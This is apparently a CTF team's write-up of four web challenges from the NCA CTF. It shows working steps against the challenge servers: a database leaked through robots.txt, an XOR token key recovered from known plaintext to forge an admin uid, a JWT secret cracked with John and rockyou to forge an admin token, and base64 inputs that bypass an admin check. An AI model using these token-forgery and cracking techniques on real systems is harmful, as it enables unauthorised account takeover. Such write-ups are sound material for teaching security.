We had a chance to participate in the NCA CTF last weekend in which we managed to secure the win. Following are some of the solutions to the CTF challenges that were present in the platform.
Web Challenges
RobotBase
Opening the link, we were greeted with a login button that lead to login panel which looked like
As the name of the challenge suggested, the first thing I checked was for robots.txt
The following entries were present in it.
User-agent: *
Disallow: /robot-db/
Browsing /robot-db
led to the download of file w0_robotdb.db
Running file
command, we get the following output
┌──(root💀adm-StomachUniverse)-[~/ctf/writeups]
└─# file w0_robotdb.db
w0_robotdb.db: SQLite 3.x database, last written using SQLite version 3046001, page size 8192, file counter 11, database pages 4, 1st free page 3, free pages 2, cookie 0x5, schema 4, UTF-8, version-valid-for 11
From the file output, it was clear that this was a SQLite database. So I quickly loaded the file on an online SQLite viewer. Looking through the rows present in the table, I stumbled across the most likely credentials which was stored without any encryption/hashing mechanism.
Logging in with credentials fl4g:asudfgr3456_g1v3_m3_th3_fl4g_x435naslkjf
, we successfully get the flag.
Epic Glitch
The challenge had a file Epic-Glitch.zip
attached to it. Upon inspecting, the zip file seem to contain the source of web application which was a basic Flask application.
The contents of the file app.py
were
from flask import Flask, render_template, request, redirect, url_for, session, make_response
import sqlite3
import os
import base64
app = Flask(__name__)
app.secret_key = os.urandom(16)
SECRET_KEY = b'REDACTED' ## REDACTED, SHHHHHHHHHHHH IT'S SECRET
def xor(data, key):
return bytes(a ^ b for a, b in zip(data, key * (len(data) // len(key) + 1)))
def create_token(username, uid):
token_data = f'{{"username": "{username}", "uid": {uid}}}'.encode()
encrypted_token = xor(token_data, SECRET_KEY)
return base64.b64encode(encrypted_token).decode()
def decode_token(token):
encrypted_token = base64.b64decode(token)
decrypted_token = xor(encrypted_token, SECRET_KEY)
return decrypted_token.decode()
def get_db_connection():
conn = sqlite3.connect('ctf.db')
conn.row_factory = sqlite3.Row
return conn
@app.route('/')
def index():
return render_template('dummy.html')
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
if username == 'admin':
return "Username 'admin' is already taken.", 400
conn = get_db_connection()
conn.execute("INSERT INTO users (username, password, uid) VALUES (?, ?, ?)",
(username, password, 1))
conn.commit()
conn.close()
return redirect(url_for('login'))
return render_template('register.html')
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
conn = get_db_connection()
user = conn.execute('SELECT * FROM users WHERE username = ? AND password = ?', (username, password)).fetchone()
conn.close()
if user:
token = create_token(user['username'], user['uid'])
response = make_response(redirect(url_for('dashboard')))
response.set_cookie('auth_token', token)
return response
else:
return "Invalid credentials", 403
return render_template('login.html')
@app.route('/dashboard')
def dashboard():
auth_token = request.cookies.get('auth_token')
if not auth_token:
return redirect(url_for('login'))
try:
user_info = decode_token(auth_token)
# the uid is 0 below
if '"uid": 0' in user_info:
return "nca{f4k3_fl4g_f0r_t35t1ng}"
else:
return "What are you looking for? The flag? :D"
except Exception:
return "Invalid token", 400
if __name__ == '__main__':
app.run(debug=False)
So in a nutshell, the file contained logic of different pages within the website like login, register, dashboard pages etc. Looking at the dashboard()
function, we find out that if we have auth-token
cookie in our request whose decoded value contains uid
with value 0
we will get the flag. So with this, I started to look at the register()
logic and I found out that all the default users were getting id of 1.
conn.execute("INSERT INTO users (username, password, uid) VALUES (?, ?, ?)",
(username, password, 1))
Once the user was created, we could login using the credentials. The login function called create_token()
function to create auth token using the user information recieved from database. Inspecting the create_token()
function we see that, the user information was being XORED
and then base64
encoded.
def create_token(username, uid):
token_data = f'{{"username": "{username}", "uid": {uid}}}'.encode()
encrypted_token = xor(token_data, SECRET_KEY)
return base64.b64encode(encrypted_token).decode()
So the plan here is simple, we need to create a new user and generate token. The token would be ciphertext while the plaintext would be `{{"username": "{our_username}", "uid": {uid}}}
. Once we have the ciphertext and plaintext we can easily retrieve the key.
So I created a new user with username nepal
and got this token
C0cHABUXDRUEE0dKRVAdFRUCGEtaRVIQGxdSX0NFFA==
which is our ciphertext. Meanwhile, our plaintext now is {{"username": "nepal", "uid": 1}
. To get the key, we can first base64 decode our token and XOR
the result with our plaintext. Following script does the operation.
import base64
token = "C0cHABUXDRUEE0dKRVAdFRUCGEtaRVIQGxdSX0NFFA=="
decoded_token = base64.b64decode(token)
def xor(data, key):
return bytes(a ^ b for a, b in zip(data, key * (len(data) // len(key) + 1)))
plaintext_str = f'{{"username": "nepal", "uid": 1}}'
plaintext = plaintext_str.encode()
key = xor(decoded_token, plaintext)
print(f": Key {key}")
Running the above script we, get result as : Key b'perspectiveperspectiveperspecti'
Here’s a cyberchef recipe to do the same.
Thus our key is perspective
Now using the key we can forge a new token with with uid
0 using our new found new found key. So simple we XOR {"username": "nepal", "uid": 0}
with key perspective. Notice the uid has been changed to 0. Then we simply base64encode it. The cyberchef recipe to perform this operation is here.
Once we have forged the token, we can replace it in our auth_token
to recieve the flag
My Name is Marie Biscuit V2
The link contained a simple login panel. Using the credentials provided in the description, I was able to login and got this screen.
From the challenge name, it looked like a challenge related to cookie, so I started checking out the cookie. The cookie contained a JWT
token.
I double checked using the jwt.io
to ensure it was a JWT
token.
Looking at the payload field, I guessed that if we somehow managed forge a token with username admin
we would probably get the flag. For this we needed the secret key that was used to sign the JWT
token. So, I launched JohnTheRipper
with the rockyou.txt
wordlist and started bruteforcing. After few seconds, I got the following output.
┌──(root💀adm-StomachUniverse)-[~/ctf]
└─# john jwt.txt --wordlist=~/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 512/512 AVX512BW 16x])
Will run 32 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
cybernepal (?)
1g 0:00:00:04 DONE (2024-09-25 01:33) 0.2272g/s 2025Kp/s 2025Kc/s 2025KC/s dany12_..crompond
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
So the secret used to the sign the token was cybernepal
. With this I created a new token with username admin
on the payload field.
Using the newly forged token on the cookie, I was able to get the flag.
┌──(root💀adm-StomachUniverse)-[~/ctf]
└─# curl -H "Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzI3MjMxMjQzfQ.ssSTMaEIJYABTNX50wSSo2-XNHvzrZ4nOtnvBJHlGuw" http://147.79.67.234:2332/ | grep nca
<h3>nca{m4rr13_b15cu1t_l0v3rs_h3r3_b0155}</h3>
Mero Kitab
Opening the link, we see the following prompt that asks to specify a username in base64 format.
Clicking on the example, a GET request is made to
http://147.79.67.234:3223/?username=aGFyaWJhaGFkdXI=
The username consisted the string haribahadur
in base64 format and the output of page looked like.
I quickly base64 encoded hello
and tested it.
http://147.79.67.234:3223/?username=aGVsbG8=
and got similar result like the previous one that said No kitab available for you
Trying base64 encoded admin
i.e. YWRtaW4=
led to error which was pretty suprising. URL encoding the last character still led to error.
I tried appending ’
to the encoded value thinking it could be some form of SQL Injection and suprisingly got the flag.
http://147.79.67.234:3223/?username=YWRtaW4='
At the time of writing this writeup I have noticed that, the vulnerability probably has nothing to do with SQL injection. As all of following payloads lead to the flag.
GET /?username=YWRtaW4%3d
GET /?username=YWRtaW4%
Another pattern I found was admin
encoded in base64 + special character also led to flag. Examples:
GET /?username=YWRtaW4=$
GET /?username=YWRtaW4=@
GET /?username=YWRtaW4=.
My guess would it be adding the characters somehow bypassed the admin
blacklisting.